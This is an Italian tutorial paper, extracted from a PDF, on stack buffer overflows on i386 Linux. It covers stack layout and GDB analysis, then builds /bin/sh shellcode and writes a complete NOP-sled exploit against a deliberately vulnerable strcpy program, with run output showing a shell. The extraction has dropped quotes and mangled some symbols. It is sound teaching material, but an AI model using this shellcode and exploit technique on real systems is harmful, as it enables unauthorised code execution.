Buffer Overflows
Transcript
Buffer Overflows
Buffer Overflows Eduard ’MasterˆShadow’ Roccatello 22 giugno 2003 1 Buffer Overflows INDICE Indice 1 Introduzione 1.1 Informazioni sull’autore . . . . . . . . . . . . . . . . . . . . . . 1.2 Informazioni sul paper . . . . . . . . . . . . . . . . . . . . . . . 3 3 3 2 Definizione di stack 4 3 Gestione della memoria 4 4 Analisi dello stack di un processo 5 5 Violazione dello stack 8 6 Shellcode e loro generazione 10 7 Sfruttare la vulnerabilità 19 2 Buffer Overflows 1 1 INTRODUZIONE Introduzione Una delle vulnerabilità più diffuse nei programmi è sicuramente il buffer overflow, che detiene il primato insieme a format string bug. Usata da tempo dagli hacker per verificare la sicurezza dei sistemi informatici, è stata illustrata pubblicamente da AlephOne nel numero 49 della famosissima rivista elettronica underground Phrack (raggiungibile all’indirizzo http://www.phrack.org). Consiste essenzialmente nell’esecuzione arbitraria di codice malizioso e sfrutta il mancato controllo delle dimensioni delle zone di memoria (buffer) sulle quali verranno scritte le variabili del programma. 1.1 Informazioni sull’autore Eduard Roccatello studia Ingegneria Informatica all’Università di Padova ed è membro fondatore di RoLUG (http://rovigo.linux.it). Si occupa di programmazione e di amministrazione di rete con un occhio di riguardo alle problematiche di sicurezza su sistemi GNU/Linux e *BSD. 1.2 Informazioni sul paper Questo paper è stato realizzato in LATEX e distribuito in vari formati. Nel caso si desideri avere una copia nel formato di realizzazione, contattare l’autore all’indirizzo email [email protected]. Questo paper può essere liberamente distribuito e modificato, a patto di riportarne i credits. 3 Buffer Overflows 2 3 GESTIONE DELLA MEMORIA Definizione di stack Lo stack è una struttura dati astratta (ADT) molto utilizzata nelle archittetture informatiche odierne. Per struttura dati astratta si intende un modello di struttura in grado di immagazzinare i dati e di compiere operazioni sui dati inseriti. Uno stack può essere rappresentato come una pila di oggetti, vincolata dal fatto che la rimozione e l’aggiunta degli elementi può essere fatta solo in cima. Si può parlare quindi di una struttura LIFO (Last In First Out), dove l’ultimo elemento ad entrare nello stack è anche il primo ad uscire. I metodi principali definibili di uno stack sono 3: PUSH, POP e TOP (dove per metodo si intende una funzione eseguibile dallo stack). PUSH è il metodo standard per l’aggiunta degli oggetti allo stack, POP serve a leggere ed a togliere l’elemento in cima allo stack mentre TOP esegue solamente la lettura dell’oggetto più in alto nella pila senza levarlo dalla stessa. Le prestazioni di uno stack sono ottimali; ogni operazione effettuabile ha prestazioni asintotiche O(1), cioè il numero di elementi contenuti non influenza minimamente le prestazioni ottenibili, che dipendono invece dal tipo di implementazione effettuato dagli sviluppatori. La creazione di una struttura dati come lo stack deriva dalla necessità di avere un’architettura più consona possibile ai linguaggi di programmazione ad alto livello (molto più simili al linguaggio parlato che al linguaggio adottato dalla macchina). Non è difficile trovare implementazioni di stack nelle moderne apparecchiature. Lo stack si presta infatti agevolmente al passaggio degli argomenti di una funzione e all’archiviazione di dati sequenziali LIFO come la sospensione dei metodi in un programma ed è la struttura utilizzata dalle archittetture i386 per la gestione delle variabili in memoria durante l’esecuzione di un programma. 3 Gestione della memoria Per rendersi conto di come funzioni l’exploit della vulnerabilità generata dai buffer overflow bisogna aver chiaro come i processi vengano allocati nella memoria. Ogni processo attivo possiede tre regioni di memoria con caratteristiche differenti, generalmente individuate con i nomi Text, Data e Stack. La regione Text è fissata dal programma e contiene istruzioni e dati raggiungibili in modalità di sola lettura. Un eventuale accesso in scrittura a questa zona produce un errore irreversibile che termina il programma. La regione Data contiene dati inizializzati, dati non inizializzati e indirizza anche le variabili statiche, imagazzinate in questa regione di memoria. La dimensione di questa regione di memoria può essere modificata da una chia4 Buffer Overflows 4 ANALISI DELLO STACK DI UN PROCESSO mata di sistema particolare e nel caso venga esaurito lo spazio di memoria allocata per il processo, questo viene reimpostato dallo scheduler con una dimensione di memoria più grande della precendente. Questa zona di memoria viene comunemente chiamata come zona DATA-BSS di un file eseguibile. La terza regione di memoria allocata per ogni processo è lo stack dove vengono memorizzate le variabili non statiche del programma ed è l’oggetto della vulnerabilità trattata in questo capitolo. Indirizzi di basso livello TEXT DATA Indirizzi di alto livello STACK 4 Analisi dello stack di un processo Abbiamo visto che ogni processo genera tre regioni di memoria, una delle quali è lo stack. Ma cos’è contenuto esattamente nello stack? Si tratta di una zona di memoria creata dinamicamente all’avvio del processo e viene modificata durante dell’esecuzione del programma. Per capire meglio com’è strutturato lo stack di un processo, è bene introdurne uno che, seppur molto semplice, permette una schematizzazione chiara della zona di memoria Stack: // Start: code.c void funzione(int i) { char buffer[64]; } int main(void) { funzione(15); } // End: code.c 5 Buffer Overflows 4 ANALISI DELLO STACK DI UN PROCESSO Salviamo questa piccola porzione di codice in un file (che io chiamerò code.c) e compiliamo con gcc -o code code.c. Eseguendo il programma in questione ci accorgeremo che il programma non invia nulla allo standard output. Proviamo ad analizzarlo in profondità con GDB per capire cosa fa questa piccola porzione di codice: eddy@alphabase:/rsg$ gdb code GNU gdb 5.2 This GDB was configured as i386-slackware-linux... (gdb) disassemble main Dump of assembler code for function main: 0x80483c8 hmaini : push %ebp 0x80483c9 hmain + 1i : mov %esp,%ebp 0x80483cb hmain + 3i : sub $0x8,%esp 0x80483ce hmain + 6i : add $0xfffffff4,%esp 0x80483d1 hmain + 9i : push $0xf 0x80483d3 hmain + 11i : call 0x80483c0 hf unzionei 0x80483d8 hmain + 16i : add $0x10,%esp 0x80483db hmain + 19i : leave 0x80483dc hmain + 20i : ret 0x80483dd hmain + 21i : nop 0x80483de hmain + 22i : nop 0x80483df hmain + 23i : nop End of assembler dump. Il programma in questione, come prima cosa, salva il frame pointer nello stack e imposta come nuovo frame pointer, lo stack pointer. Nel frame pointer è contenuto l’indirizzo di memoria della funzione appena eseguita dal microprocessore. Vengono successivamente sottratti 8 bytes dallo stack pointer per creare lo stack frame privato della funzione. All’indirizzo 0x80481d1 (¡main+9¿) inizia la chiamata alla funzione. Le funzioni vengono chiamate dai programmi tramite l’inserimento (push) degli argomenti nello stack, in ordine inverso (dall’ultimo al primo), e tramite la funzione call indirizzo. In questo caso viene fatto il push di 0xf (15 in decimale) nello stack e poi viene chiamata la funzione all’indirizzo 0x80483c0. Al ritorno della funzione viene aggiunto il valore esadecimale 10 allo stack pointer facendo avanzare il puntatore e viene eseguita l’istruzione leave. 6 Buffer Overflows 4 ANALISI DELLO STACK DI UN PROCESSO Entriamo nel profondo della funzione funzione e vediamo come vengono allocate le variabili di un programma, probabilmente la parte più interessante di un programma :-) (gdb) disassemble funzione Dump of assembler code for 0x80481c0 hf unzionei : 0x80481c1 hf unzione + 1i : 0x80481c3 hf unzione + 3i : 0x80481c6 hf unzione + 6i : 0x80481c7 hf unzione + 7i : End of assembler dump. function funzione: push %ebp mov %esp,%ebp sub $0x48,%esp leave ret Dopo aver eseguito l’istruzione call, la routine main viene sospesa e il controllo passa alla routine funzione. Viene salvato il frame pointer nullo stack e viene copiato il valore dello stesso nello stack pointer. Immediatamente dopo avviene l’allocazione delle variabili, in questo caso un array (successione) di 64 char. I computer basati su architettura Intel considerano gli array di char come serie di caratteri terminata da un carattere nullo (0x0 in esadecimale). Per allocare una variabile il sistema sposta lo stack pointer di tanti bytes quanti occorrono al programma cioè della dimensione delle variabili riferita alle dword occupate. La parola binaria più piccola considerata nei sistemi Intel è di 4 bytes, per cui la dimensione delle variabili sarà riferita a 4 bytes. Ad esempio se ho un array di 5 char il sistema allocherà 8 bytes, corrispondenti a 2 dword. Molto probabilmente avrete già fatto i conti e come credo vi sembrerà strano che al posto di 0x40 troviate 0x48. Teoricamente il compilatore dovrebbe allocare esattamente la dimensione di tutte le variabili dichiarate nella funzione ma, generalmente, viene allocata più memoria del necessario per contenere eventuali overflow (fuoriuscite). Ora che abbiamo capito come funzionano le chiamate alle funzioni possiamo schematizzare lo stack del nostro programma in questo modo: [--buffer--][--stack pointer--][--instruction pointer--][--i--] Cima dello stack Fondo dello stack Riassumendo, sul fondo dello stack troviamo gli argomenti passati alla funzione, poi troviamo l’istruction pointer (detto anche RET) e lo stack pointer. Sulla cima dello stack possiamo trovare la locazione fisica delle variabili elaborate dal nostro programma (in questo caso solo buffer). 7 Buffer Overflows 5 5 VIOLAZIONE DELLO STACK Violazione dello stack Ipotizziamo che una funzione non controlli le dimensioni dell’input e continui a scrivere sullo stack oltre i limiti delle variabili: cosa accade? Il sistema risponde con una violazione della segmentazione della memoria e termina il processo. Un buffer overflow è quindi il risultato di inserire in un buffer più dati di quelli che può gestire e offre la possibilità di gestire arbitrariamente gli indirizzi di ritorno di una funzione. Introduciamo un nuovo frammento di codice per approfondire la questione: // Start code2.c #include <string.h> void funzione(char *stringa) { char buffer[16]; strcpy(buffer, stringa); } int main(void) { char stringa grande[256]; int i = 0; for (i; i < 255; i++) stringa grande[i] = ’A’; funzione(stringa grande); } // End code2.c Se si compila questo codice e lo si esegue apparirà un inquietante messaggio Segmentation Fault, errore di segmentazione. Cos’è successo? Inizializzato un array di 256 char, il programma riempie con la lettera A (0x41 in esadecimale) ogni posizione dello stesso e chiama la routine funzione con il parametro stringa grande (corrispondente all’array di char). Funzione inizializza un buffer di 16 char ed effettua la chiamata di sistema strcpy con i parametri buffer e stringa (che corrisponde all’argomento passato alla funzione). Non effettuando nessun controllo la chiamata strcpy sovrascrive la memoria del processo fino a che non trova una carattere nullo e, ovviamente, viola la segmentazione della memoria. 8 Buffer Overflows 5 VIOLAZIONE DELLO STACK Avviamo gdb e analizziamo l’esecuzione del programma: eddy@alphabase:/rsg$ gdb code2 GNU gdb 5.2 Copyright 2002 Free Software Foundation, Inc. This GDB was configured as i386-slackware-linux... (gdb) run Starting program: /home/eddy/rsg/code2 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) Com’era possibile immaginare lo stack è stato sovrascritto e l’indirizzo di ritorno (instruction pointer o RET) corrisponde a 0x41414141 ovvero a AAAA. Schematizzando lo stack troveremo: [AAAAAAAAAAAAAAAAAAAAAA][AAAA][AAAA][AAAA] Buffer EBP RET *str Tutta la memoria del processo è stata sovrascritta con il contenuto dell’array stringa grande. Continuiamo il debugging dell’eseguibile code2 analizzando i registri dopo l’invio del segnale SIGSEGV (11) da parte del sistema: (gdb) info registers eax 0xbffff5ec -1073744404 ecx 0xffffffbf -65 edx 0xbffff736 -1073744074 ebx 0xbffff79c -1073743972 esp 0xbffff604 0xbffff604 ebp 0x41414141 0x41414141 esi 0xbffff794 -1073743980 edi 0x1 1 eip 0x41414141 0x41414141 ... I registri che interessano a noi sono EBP e EIP, frame pointer e instruction pointer, cioè i registri che nello schema dello stack (in alto) sono esattamente dopo la zona di memoria della variabile buffer. Entrambi i registri sono stati sovrascritti con il contenuto di stringa grande ed è 9 Buffer Overflows 6 SHELLCODE E LORO GENERAZIONE possibile notare che il passo tra l’errore di programmazione e la vulnerabilità è molto breve: tutto sta nel modificare EIP a nostro piacimento! 6 Shellcode e loro generazione Come abbiamo appena visto è possibile sfruttare la vulnerabilità dovuta ai buffer overflow tramite la modifica del punto di ritorno di una funzione ma dove dobbiamo far puntare questo registro per ottenere l’elevazione dei privilegi? La cosa migliore da fare è farlo puntare ad una zona di memoria sulla quale abbiamo i permessi di scrittura e dove c’è abbastanza spazio per scrivere il codice da eseguire, chiamato comunemente shellcode. Come dice la parola stessa, per shellcode si intende un frammento di codice capace di eseguire una shell. Più precisamente uno shellcode è la conversione in linguaggio macchina di un programma sorgente (scritto in Assembly o C). Generalmente il codice sorgente di uno shellcode si può riassumere con: // Start shcode.c #include <stdio.h> void main(void) { char *file[2]; file[0] = /bin/sh; file[1] = NULL; execve(file[0], file, NULL); exit(0); } // End shcode.c Compiliamo con gcc -o shcode -static shcode.c e testiamo il nostro codice: eddy@alphabase:/rsg$ ./shcode sh-2.05a$ exit exit eddy@alphabase:/rsg$ Funziona! Non dimentichiamo il flag -static durante la compilazione altrimenti non potremo disassemblare le chiamate di sistema, o meglio queste conterranno solo riferimenti al sistema e non il codice della chiamata stessa. Questa volte cambiamo metodo di analisi e procediamo con il dump dell’oggetto creato da gcc tramite il comando objdump. eddy@alphabase:/rsg$ objdump -d shcode > shellcodedump 10 Buffer Overflows 6 SHELLCODE E LORO GENERAZIONE Meglio fare una redirezione dell’output verso un file perchè objdump ha emette tantissimo output (dovuto alla disassemblazione del programma). Cerchiamo la parte che ci interessa, ovvero la main() e la execve(): 080481c0 hmaini : 80481c0: 80481c1: 80481c3: 80481c6: 80481cd: 80481d4: 80481d7: 80481d9: 80481dc: 80481dd: 80481e0: 80481e1: 80481e6: 80481e9: 80481ec: 80481ee: 80481f3: 80481f6: 55 push %ebp 89 e5 mov %esp,%ebp 83 ec 18 sub $0x18,%esp c7 45 f8 08 c9 08 08 movl $0x808c908,0xfffffff8(%ebp) c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 83 c4 fc add $0xfffffffc,%esp 6a 00 push $0x0 8d 45 f8 lea 0xfffffff8(%ebp),%eax 50 push %eax 8b 45 f8 mov 0xfffffff8(%ebp),%eax 50 push %eax e8 2a 3e 00 00 call 804c010 h execvei 83 c4 10 add $0x10,%esp 83 c4 f4 add $0xfffffff4,%esp 6a 00 push $0x0 e8 bd 01 00 00 call 80483b0 hexiti 83 c4 10 add $0x10,%esp c9 leave 11 Buffer Overflows 0804c010 h execvei : 804c010: 804c011: 804c013: 804c016: 804c017: 804c018: 804c01b: 804c020: 804c022: 804c024: 804c029: 804c02c: 804c02f: 804c030: 804c032: 804c037: 804c039: 804c03a: 804c03c: 804c042: 804c044: 804c049: 804c04b: 804c04d: 804c052: 804c054: 804c055: 804c056: 804c058: 804c059: 6 SHELLCODE E LORO GENERAZIONE 55 89 e5 83 ec 10 57 53 8b 7d 08 b8 00 00 00 00 85 c0 74 05 e8 d7 3f fb f7 8b 4d 0c 8b 55 10 53 89 fb b8 0b 00 00 00 cd 80 5b 89 c3 81 fb 00 f0 ff ff 76 0e e8 57 c3 ff ff f7 db 89 18 bb ff ff ff ff 89 d8 5b 5f 89 ec 5d c3 Analizziamo un po’ il comportamento delle due 80481c0: 55 push %ebp 80481c1: 89 e5 mov %esp,%ebp 80481c3: 83 ec 18 sub $0x18,%esp Inizializzazione della funzione main(), salviamo stack pointer corrente il nuovo frame pointer e le variabili locali, che in questo caso sono: char 12 push %ebp mov %esp,%ebp sub $0x10,%esp push %edi push %ebx mov 0x8(%ebp),%edi mov $0x0,%eax test %eax,%eax je 804c029 h execve + 0x19i call 0 h init − 0x80480b4i mov 0xc(%ebp),%ecx mov 0x10(%ebp),%edx push %ebx mov %edi,%ebx mov $0xb,%eax int $0x80 pop %ebx mov %eax,%ebx cmp $0xfffff000,%ebx jbe 804c052 h execve + 0x42i call 80483a0 h errno locationi neg %ebx mov %ebx,(%eax) mov $0xffffffff,%ebx mov %ebx,%eax pop %ebx pop %edi mov %ebp,%esp pop %ebp ret chiamate: il frame pointer, facciamo dello allochiamo un po’ di spazio per *file[2]; Buffer Overflows 6 SHELLCODE E LORO GENERAZIONE 80481c6: c7 45 f8 08 c9 08 08 movl $0x808c908,0xfffffff8(%ebp) 80481cd: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) Sono rispettivamente le memorizzazioni dei valori nelle variabili: /bin/sh e NULL. Ora comincia la chiamata vera e propria alla execve() con il push degli argomenti in ordine inverso: 80481d7: 6a 00 push $0x0 Inserisce NULL nello stack. 80481d9: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481dc: 50 push %eax Carichiamo l’indirizzo di file[] nel registro accumulatore e ne facciamo il push nello stack. 80481dd: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 80481e0: 50 push %eax 80481e1: e8 2a 3e 00 00 call 804c010 h execvei Carichiamo l’indirizzo di /bin/sh nell’accumulatore, facciamo il push nello stack e finalmente chiamiamo execve(). 804c010: 55 push %ebp 804c011: 89 e5 mov %esp,%ebp 804c013: 83 ec 10 sub $0x10,%esp Cominciamo ad analizzare execve() dalle parti salienti ovvero dove esegue esattamente il codice per l’avvio della shell. 804c018: 8b 7d 08 mov 0x8(%ebp),%edi Muove l’indirizzo di /bin/sh in %edi. 804c029: 8b 4d 0c mov 0xc(%ebp),%ecx Copia l’indirizzo di file[] in %ecx. 804c02c: 8b 55 10 mov 0x10(%ebp),%edx Copia l’indirizzo del NULL pointer in %edx. 804c02f: 53 push %ebx 804c030: 89 fb mov %edi,%ebx Mette l’indirizzo di /bin/sh (salvato in %edi) in %ebx. 13 Buffer Overflows 6 SHELLCODE E LORO GENERAZIONE 804c032: b8 0b 00 00 00 mov $0xb,%eax Copia 0xb (11 in decimale) nell’accumulatore. 11 è il riferimento di execve nella tabella delle chiamate di sistema. 804c037: cd 80 Entra in kernel mode. int $0x80 Ora abbiamo avviato la shell ma cosa succederebbe se la chiamata di sistema execve() fallisse? Molto probabilmente verrebbe generato un dump del core dell’eseguibile poichè il programma avanzerebbe sullo stack ed incontrebbe dati random. Noi non vogliamo che esso venga generato quindi provvediamo aggiungendo una chiamata exit() al nostro programma. eddy@alphabase:/rsg$ cat exit.c #include <stdlib.h> int main(void) { exit(0); } Compiliamo con gcc -o e -static e.c ed analizziamo il dump della chiamata exit(). 0804cbb8 h exiti : 804cbb8: 804cbbc: 804cbc1: 804cbc3: 804cbc8: 804cbca: 8b 5c 24 04 b8 fc 00 00 00 cd 80 b8 01 00 00 00 cd 80 f4 mov 0x4(%esp,1),%ebx mov $0xfc,%eax int $0x80 mov 0x1,%eax int $0x80 hlt La chiamata exit() si preoccupa di mettere il codice di ritorno in %ebx, di settare il numero di syscall in %eax (in questo caso è 1) e di entrare in kernel mode. Il codice di ritorno che utilizzeremo noi sarà 0, ovvero quello utilizzato dalla maggior parte delle applicazioni per dire che tutto è andato a buon fine. 14 Buffer Overflows 6 SHELLCODE E LORO GENERAZIONE Riassumendo un po’ di cose dobbiamo fare i seguenti passi per generare uno shell code: - Avere una stringa contenente /bin/sh da qualche parte in memoria terminata da un carattere (NULL). - Avere l’indirizzo della stringa in memoria seguito da una word nulla. - Copiare 0xb (11 decimale) nel registro accumulatore (EAX). - Copiare l’indirizzo dell’indirizzo della stringa in EBX. - Copiare l’indirizzo della stringa in ECX. - Copiare l’indirizzo della word nulla in EDX. - Passare al kernel mode eseguendo int 0x80. - Copiare 0x1 in EAX. - Copiare 0x0 in EBX. - Eseguire int 0x80. Analizzando ancora più a fondo la questione troviamo un problema: noi non sappiamo dove siamo nello spazio di memoria del programma e conseguentemente non sappiamo dove verrà inserita la stringa /bin/sh. L’unico metodo possibile è quello di usare la combinazione delle due istruzioni JMP e CALL per aggirare l’ostacolo. Fortunatemente queste due istruzioni possono eseguire salti relativi a partire dall’instruction pointer corrente, senza sapere esattamente l’indirizzo di memoria da puntare. Se mettiamo una CALL prima della stringa e un JMP verso la stessa chiamata, l’indirizzo della stringa verrà messo nello stack come indirizzo di ritorno una volta chiamata l’istruzione CALL. Tutto quello di cui abbiamo bisogno è di copiare l’indirizzo di ritorno in un registro. Altro problema che potrebbe insorgere nella scrittura di uno shellcode è quello dovuto al fatto che non possono essere contenuti terminatori (NULL char) nella stringa che dobbiamo copiare in memoria. Fortunatamente esistono workaround per questo problema ed il più semplice è quello di utilizzare istruzioni equivalenti a quelle che possono dare problemi. int main(void) { asm ( jmp trick # salta alla label trick shcode: 15 Buffer Overflows 6 SHELLCODE E LORO GENERAZIONE popl %esi # salva l’indirizzo della stringa in esi xorl %eax,%eax # azzera eax movb %al, 0x7(%esi) # mette uno 0 alla fine della stringa movl %esi, 0x8(%esi) # salva l’indirizzo della stringa alla posizione # indirizzo stringa + 8. Si ottiene in memoria: # ‘‘/bin/sh‘‘ ‘‘0‘‘ ‘‘indirizzo prima /‘‘ movl %eax, 0xc(%esi) # crea il puntatore null alla posizione esi+12 movl %esi, %ebx # mette l’indirizzo della stringa in ebx leal 0x8(%esi), %ecx # mette in ecx l’indirizzo dell’indirizzo della # stringa, ovvero dell’array file[] leal 0xc(%esi), %edx # mette in edx l’indirizzo del puntatore nullo movb $0x0b, %al # mette nella parte bassa di eax (al) il codice # corrispondente alla syscall execve int $0x80 # entra in kernel mode xorl %eax,%eax # azzera eax incl %eax # incrementa eax 16 Buffer Overflows 6 SHELLCODE E LORO GENERAZIONE int $0x80 # entra in kernel mode trick: call shcode # esegue la call a shcode (l’indirizzo di ritorno è # l’indirizzo della stringa da puntare) ); } Compiliamo il tutto e facciamo il dump delle parte interessanti: eddy@alphabase:/rsg$ gcc -o shc shellcode.c eddy@alphabase:/rsg$ objdump -d shc 080482f4 hmaini : 80482f4: 80482f5: 80482f7: 80482fa: 80482fd: 8048302: 8048304: 55 push %ebp 89 e5 mov %esp,%ebp 83 ec 08 sub $0x8,%esp 83 e4 f0 and $0xfffffff0,%esp b8 00 00 00 00 mov $0x0,%eax 29 c4 sub %eax,%esp eb 1d jmp 8048323 htricki 08048306 hshcodei : 8048306: 8048307: 8048309: 804830c: 804830f: 8048312: 8048314: 8048317: 804831a: 804831c: 804831e: 8048320: 8048321: 5e 31 c0 88 46 07 89 76 08 89 46 0c 89 f3 8d 4e 08 8d 56 0c b0 0b cd 80 31 c0 40 cd 80 pop %esi xor %eax,%eax mov %al,0x7(%esi) mov %esi,0x8(%esi) mov %eax,0xc(%esi) mov %esi,%ebx lea 0x8(%esi),%ecx lea 0xc(%esi),%edx mov $0xb,%al int $0x80 xor %eax,%eax inc %eax int $0x80 17 Buffer Overflows 08048323 htricki : 8048323: 8048328: 8048329: 804832a: 804832b: 6 SHELLCODE E LORO GENERAZIONE e8 de ff ff ff call 8048306 hshcodei c9 leave c3 ret 90 nop 90 nop La parte interessante comincia all’indirizzo 8048304, ovvero al salto verso trick. Per ottenere uno shellcode valido è necessario trascrivere l’assembly in opcode ovvero in codici leggibili ed eseguibili dal processore (in codice macchina praticamente). Per fare questo basta prendere la parte esadecimale fornita da objdump (che ci salva da eterne consultazioni dei datasheet di Intel :-). Ne esce una cosa di questo genere: eb1d5e31c088460789760889460c... Aggiungiamo la nostra stringa alla fine (/bin/sh) e proviamo se il nostro shellcode è corretto creando un piccolo programmino di test. // Start here char shellcode[] = \xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0 \x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh; int main(void) { int *ret; ret = (int *)ret + 2; (*ret) = (int)shellcode; } // End here Compiliamo ed eseguiamo il tutto eddy@alphabase:/rsg$ gcc -o exp exp.c eddy@alphabase:/rsg$ ./exp sh-2.05b$ exit exit eddy@alphabase:/rsg$ 18 Buffer Overflows 7 SFRUTTARE LA VULNERABILITÀ Funziona tutto alla perfezione e possiamo quindi dedicarci alla scrittura di un exploit per il nostro programma vulnerabile. 7 Sfruttare la vulnerabilità Dopo aver creato il nostro shellcode è bene vedere come un programma buggato apparentemente innocuo può diventare molto pericoloso e permettere di ottenere una shell utente a persone che non dovrebbero mai averla sul nostro sistema. Il codice vulnerabile che consideremo in questo esempio è molto semplice e prevede un buffer di 256 caratteri senza controlli in scrittura. // Start vuln.c #include string.h int main (int argv, char **argc) { char buf[256]; strcpy(buf, argc[1]); } // End vuln.c Esistono molte tecniche di exploiting per i buffer overflow e in questo caso utilizzeremo la versione più classica, ovvero la versione originaria ideata da Aleph1 e trattata sul numero 49 della rivista Phrack. Concettualmente è molto semplice: si tratta infatti di preparare un argomento ad hoc da passare al programma in modo che venga esattamente eseguito quello di cui abbiamo bisogno. Utilizzeremo come shellcode quello appena trovato (tanto per far vedere che funziona :-). 19 Buffer Overflows 7 SFRUTTARE LA VULNERABILITÀ Prima di cominciare vediamo come opereremo nell’overflowing con questo piccolo esempio: // Start ov1.c char shellcode[] = \xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0 \x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh; char large string[128]; int main (void) { char buffer[96]; int i; long *long ptr = (long *) large string; for (i = 0; i < 32; i++) *(long ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large string[i] = shellcode[i]; strcpy(buffer, large string); } // End ov1.c Come prima cosa questo codice provvede a riempire large string con l’indirizzo di buffer, dove verrà messo il nostro codice. Si provvede successivamente a copiare lo shellcode nel buffer large string e replicarlo nuovamente nel buffer buffer[64] causando l’overflow. eddy@alphabase:/rsg/bof$ gcc -o c ov1.c eddy@alphabase:/rsg/bof$ ./c sh-2.05b$ exit exit eddy@alphabase:/rsg/bof$ Ottimo, funziona correttamente! 20 Buffer Overflows 7 SFRUTTARE LA VULNERABILITÀ Per piazzare correttamente il buffer dobbiamo sapere dove viene messo il punto di ritorno. Semplifichiamoci un po’ la vita modificando ulteriormente il programma da sfruttare (in fondo questo è un paper didattico e possiamo agevolarci, no? :-). // Start vuln.c #include <string.h> int main (int argv, char **argc) { char buf[256]; printf(buffer address: %p, buf); if (argv > 1) strcpy(buf,argc[1]); } // End vuln.c Grazie a questa piccola modifica sul codice il nostro programma mostrerà l’indirizzo di memoria dove è posizionato l’inizio dell’array di caratteri e questo ci permetterà di manipolare più facilmente i vari indirizzi. Senza questa piccola modifica piazzare il codice sarebbe un operazione lunga e noiosa, che richiederebbe moltissimi tentativi. Compiliamo ed eseguiamo il nostro programma vulnerabile: eddy@alphabase:/rsg/bof$ gcc -o vuln vuln.c eddy@alphabase:/rsg/bof$ ./vuln ciaociao buffer address: 0xbffff730 eddy@alphabase:/rsg/bof$ Come potete vedere ora conosciamo la locazione del buffer di questa esecuzione. Questo indirizzo varia da macchina a macchina ed è quindi improbabile scrivere una versione universale di codice per exploitare una vulnerabilità (con la stessa locazione di memoria). 21 Buffer Overflows 7 SFRUTTARE LA VULNERABILITÀ Prima di scrivere un exploit è bene riassumere le cose che il nostro codice deve fare: - Trovare l’indirizzo di ritorno. - Scrivere l’indirizzo di ritorno nel buffer da copiare in memoria. - Riempire la prima parte del buffer con NOP (per evitare calcoli non previsti dalla scaletta :-). - Scrivere il nostro shellcode dopo la sequenza di NOP - Eseguire il programma vulnerabile con buffer come argomento. Ecco il codice opportunamente commentato: // Start #include #include #include #include exploit.c <stdio.h> <stdlib.h> <string.h> <unistd.h> #define BUF 280 // 70*4, ricordate di includere il padding #define NOP 0x90 // Opcode di No Operate #define RET 0xbffffcd0 // Indirizzo di ritorno char shellcode[] =/* il nostro shellcode */ \xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0 \x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh; unsigned long get esp() /* Recupera lo stack pointer */ { asm (movl %esp, %eax); } int main (int argc, char *argv[]) { int ret, i, n; char *arg[3], buf[BUF]; int *address ptr; /* address pointer */ // Se non viene fornito un offset per lo stack pointer // provvede a fornire il return address calcolato a mano // Se viene fornito un offset, ricava l’indirizzo di ritorno 22 Buffer Overflows // // // // 7 SFRUTTARE LA VULNERABILITÀ a partire dallo stack pointer. Se l’indirizzo di ritorno preimpostato non dovesse funzionare, provare offset tali da riportare il punto di ritorno intorno all’indirizzo del buffer (accetta anche segni negativi). if (argc < 2) ret = RET; else ret = get esp() - atoi(argv[1]); printf(Indirizzo RET: 0x%X, ret); // salva l’indirizzo del buffer address ptr = (int *)(buf); // mette l’indirizzo di ritorno in tutto il buffer for (i = 0; i < BUF; i += 4) *address ptr++ = ret; // riempie la prima metà del buffer con NOP for (i = 0; i < BUF / 2; i++) buf[i] = NOP; // copia lo shellcode immediatamente dopo i NOP for (n = 0; n < strlen(shellcode); n++) buf[i++] = shellcode[n]; // prepara l’array per la chiamata di sistema execve // esegue il programma con il nostro argomento. arg[0] = ./vuln; arg[1] = buf; arg[2] = NULL; execve(arg[0], arg, NULL); exit(1); } // End exploit.c Compiliamo e proviamo ad eseguire: eddy@alphabase:/rsg/bof$ gcc -o exploit ex.c 23 Buffer Overflows 7 SFRUTTARE LA VULNERABILITÀ eddy@alphabase:/rsg/bof$ ./exploit Using ret: 0xBFFFFCD0 buffer address: 0xbffffcd0 sh-2.05b$ exit exit eddy@alphabase:/rsg/bof$ Come volevamo dimostrare da un programma apparentemente innocuo è stato possibile ricavare una shell perfettamente funzionante. Nel caso il punto di ritorno non funzionasse proviamo a cercane uno noi manualmente: eddy@alphabase:/rsg/bof$ ./exploit -100 Using ret: 0xBFFFF73C buffer address: 0xbffffcd0 Illegal instruction eddy@alphabase:/rsg/bof$ ./exploit -200 Using ret: 0xBFFFF7A0 buffer address: 0xbffffcd0 Illegal instruction eddy@alphabase:/rsg/bof$ ./exploit -500 Using ret: 0xBFFFF8CC buffer address: 0xbffffcd0 Segmentation fault eddy@alphabase:/rsg/bof$ ./exploit -1500 Using ret: 0xBFFFFCB4 buffer address: 0xbffffcd0 Illegal instruction eddy@alphabase:/rsg/bof$ ./exploit -2000 Using ret: 0xBFFFFEA8 buffer address: 0xbffffcd0 Segmentation fault eddy@alphabase:/rsg/bof$ ./exploit -1800 Using ret: 0xBFFFFDE0 buffer address: 0xbffffcd0 Trace/breakpoint trap 24 Buffer Overflows 7 SFRUTTARE LA VULNERABILITÀ eddy@alphabase:/rsg/bof$ ./exploit -1700 Using ret: 0xBFFFFD7C buffer address: 0xbffffcd0 Illegal instruction eddy@alphabase:/rsg/bof$ ./exploit -1600 Using ret: 0xBFFFFD18 buffer address: 0xbffffcd0 sh-2.05b$ exit exit eddy@alphabase:/rsg/bof$ Come potete vedere la procedura è un po’ macchinosa però è semplice trovare un risultato, soprattutto grazie all’aiuto che abbiamo introdotto nel codice in partenza. 25